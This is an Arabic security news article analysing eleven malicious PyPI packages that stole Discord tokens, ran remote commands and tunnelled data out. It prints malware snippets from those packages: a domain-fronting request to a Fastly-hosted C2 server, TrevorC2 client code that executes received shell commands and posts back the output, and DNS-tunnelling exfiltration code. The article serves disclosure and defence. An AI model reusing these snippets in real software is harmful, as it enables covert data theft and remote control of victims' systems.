اخبار سايبر Cybersecurity News

11 مكتبة في بايثون عليك عدم استخدامها

أعلن القائمون على مستودع مكتبات بايثون الشهير PYPI انهم قامو بحذف 11 مكتبة تقوم بسلوك ضار للمستخدمين. وتشمل سرقة كلمات المرور و Tokens خاصة ببرنامج المراسلة الشهير “Discord” وكذلك بعذ المكتبات تمكن مطوريها من تنفيذ اوامر على النظام الذي يستخدم هذه المكتبات عن طريق Remote command execution .

وفقا لفريق DevOPS الخاص بمنصة JFrog “فان هذه المكتبات تم تنصيبها اكثر من 41 الف مرة” , مما يعني ان هذا العدد الكبير من السيرفرات او الأجهزة الشخصية تحت طائلة الإختراق , ولربما نشهد تأثير هذه الهجمة خلال الأسابيع القادمة .

تصنف هذه الأنواع من الهجمات تحت مسمى Supply chain attacks اي اختراق المزود للخدمة بمعنى مبسط , وفيها يتم اضافة اكواد خبيثة في بعض المكتبات التي تستخدمها المؤسسات وتعتمد عليها بحيث عند القيام بعمل تحديث او تطوير معين تتم عملية الاختراق على نطاق واسع , ويعتبر هذا النوع من الهجمات الأعنف لما يسببه من ضرر وعدد اصابة لمؤسسات مختلفة.

يجدر بنا الاشارة الى ان هذه المكتبات لم يتم تطويرها من قبل جهة واحدة , بل كانت من اكثر من مطور , بحيث تسلك كل من المكتبات سلوك مختلف في الية العمل والأهداف الخبيثة التي تقوم بعملها في نظام الضحية.

فيما يلي ادناة بعض المكتبات والتأثير الذي تسببه .

اسم المكتبةعدد مرات التحميلالضرر الذذي تسببهملاحظات
importantpackage 6305 تنفيذ اوامر على النظام اتصل باستخدام دومين psec.forward.io.global.prod.fastly.net
pptest 10001تسريب بيانات المستخدم
ipboards946Sensitive file handling
Dependency confusion
owlmoon3285تسريب توكين ديسكورد
DiscordSafety557 تسريب توكين ديسكورد
trrfab287Sensitive file handling
10Cent10490command and control
yiffparty1859
تسريب توكين ديسكورد
yandex-yt
4183لم يتم التاكيد عن طبيعة الضرر الملحق

الية العمل التي تستخدمها مكتبة importantpackage  في تنصيب برمجيات خبيثة على الأنظمة .

تسمى هذه الالية ب Abusing CDN TLS termination for data exfiltration وتتم هذه الية عبر عدة خطوات كالاتي:

حيث تم استخدام FastlyCDN لتمويه الاتصال مع سيرفر C2 الخاص بالمخترقين بحيث كانت الية الكود كما موضح ادناه

url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload
r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

يتم ارسال HTTPS الى pypi.python.org وهو بطبيعة الحال طلب عادي لا يوجد فيه اية مشاكل . ولكن مع اضافة الهيدر يتم اعادة توجية الطلب الى السيرفر الخاص بفريق المخترقين C2 وبالطبع يتمح بالاتصال في كلا الاتجاهين .

كما يظهر في التحليل للترافيك الصادر من المكتبة الاتصال يتم ب pypi.org بدون ادنى شك ان هناك عملية خبيثة تحدث في الخلفية

ترافيك من المكتبة

بعد اتمام عملية اعادة التوجية نلاحظ مباشرة حدوث اتصال بسيرفر C2 الخاص بمطورين المكتبة (المخترقين) , وكما يتضح ايضا فان الاتصال غير مشفر ويتم عن طريق بروتوكول HTTP وهنا يمكننا تتبع البيانات التي يتلقاها سيرفر C2 الخاص بفريق الاختراق.

الاتصال المباشر في سيرفر C2

يوضح الشكل ادناه طريق الاتصال بالتفصيل

الرسم التوضيحي لالية الاتصال

الطريقة الأخرى في عملية الاتصال HTTP-based command & control using TrevorC2

وهي استخدام TrevorC2 وهو عبارة عن Client / Server يعمل بالية اتصال تعمل على تعمية الاوامر الخاصة ب C2 من خلال استخدام اتصالات تظهر وكأنها لمواقع شرعية . تم تطوير المشروع بلغة بايثون . بحيث يتم الاتصال على مراحل مختلفة مرفقة في كود بايثون ادناه .

html = req.get(SITE_URL + ROOT_PATH_QUERY)
parse = html.decode().split("")[0]
if hostname in parse:
    parse = parse.split(hostname + "::::")[1]
    # execute our parsed command
    proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout_value = proc.communicate()[0]
    stdout_value = (hostname + "::::" + str(stdout_value)).encode('utf-8')
    stdout_value = base64.b64encode(stdout_value).decode('utf-8')
    # pipe out stdout and base64 encode it then request via a query string parameter
    html = req.post(SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING, data = stdout_value)

ipboards & pptest – Exfiltration via DNS-tunneling

بعتبر تخطي حمايات الشبكة عن طريق DNS tunneling من اشهر الطرق المتبعة في اتصال البرمجيات الخبيثة , بما ان بروتوكول DNS يتم تصنيفة بانه اتصال طبيعي ويكون مفعل في السيرفرات بشكل افتراضي وكذلك غالبا لا توجد اي حمايات عليه في Firewalls مقارنة بغيره من البروتوكولات مثل HTTP على سبيل المثال . فان استخدام هذا البروتوكول في نقل البيانات الخاصة باتصال البرمجية الخبيثة يعد مثالي لتخطي انظمة حماية الشبكة. وكذلك يتم استخدامها في تخطي حمايات شبكات الوايفاي المدفوعة.

يوضح الرسم التالي الية الاتصال

DNS tunneling

كيف تستغل مكتبة ipboards  هذه الطريقة للوصول لاجهزة وسيرفرات المطورين ؟

عندما نقوم بعمل DNS Query لدومين معين ولنفترض انه blog.cyber-sky.org فاذا كان ال subdomain المسمى blog موجودا فان ال DNS server يقوم بارجاع القيمة الخاصة ب IP Address اما اذا كان غير موجود فيقوم بارجاع الدومين الاقرب في العنوان وهو في هذه الحالة cyber-sky.org .

يتوفر شرح لتقنيات متقدمة في تخطي الحمايات ضمن دوراتنا المتقدمة في منصة سايبر سكاي

تفحص دوراتنا من هنا

لنلقي نظرة على كود من مكتبة ipboards 

# Encode gathered information as an hex-string
payload=ip+';'+username+';'+hostname+';'+str(now)+';'+path+';'+packagename+';'+hostFile
payload=hexlify(bytes(payload))
 
# Breaks the payload into 50-byte chunks
chunks = [payload[i:i+50] for i in range(0, len(payload), 50)]
 
# Send chunks via DNS requests
for chunk in chunks:
    dns.resolver.query(pd.decode("utf-8") +dnss,'A')

يظهر بشكل واضح في السطر الاول تكوين payload وهو عبارة عن بيانات خاصة بالجهاز , يتم يتم حساب hex presentation خاص بها , يلي ذلك عملية الارسال لدومين تم انشاؤه خاص بسيرفر C2 , ولكن يتم الارسال الى هذا ال subdomain .

69703a75736572617474686576756c6e657261626c656d616368696e65.blog.cyber-sky.org

في هذه الحالة , يعتبر هذا الsubdomain غير موجود , فسيقوم ال DNS server بالارسال الى الأعلى منه مباشرة وهو blog.cyber-sky.org

يصبح هنا من السهل التقاط هذه المعلومات بشكل مباشر اذا تم تفعيل اي نوع من sniffing على السيرفر الخاص بالدومين blog .

تطول القائمة في سرد هذه التفاصيل سنتطرق الى تفاصيل اخرى عن مكتبات اخرى في مقالات ضمن اخبار السايبر

Ismael Al-safadi

مهندس حاسوب ومتخصص في الأمن السيبراني , لدي خبرة في تطوير البرمجيات المختلفة بلغة بايثون . المؤسس لمنصة Cyber Sky عملت كمطور برمجيات (ويب , ديسكتوب و شبكات ) كذلك عملت كمدرب لاختبار الاختراق في شركة 1PV6 في بريطانيا . مهتم بكل ما هو جديد في التقنية وخصوصا الأمن السيبراني

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى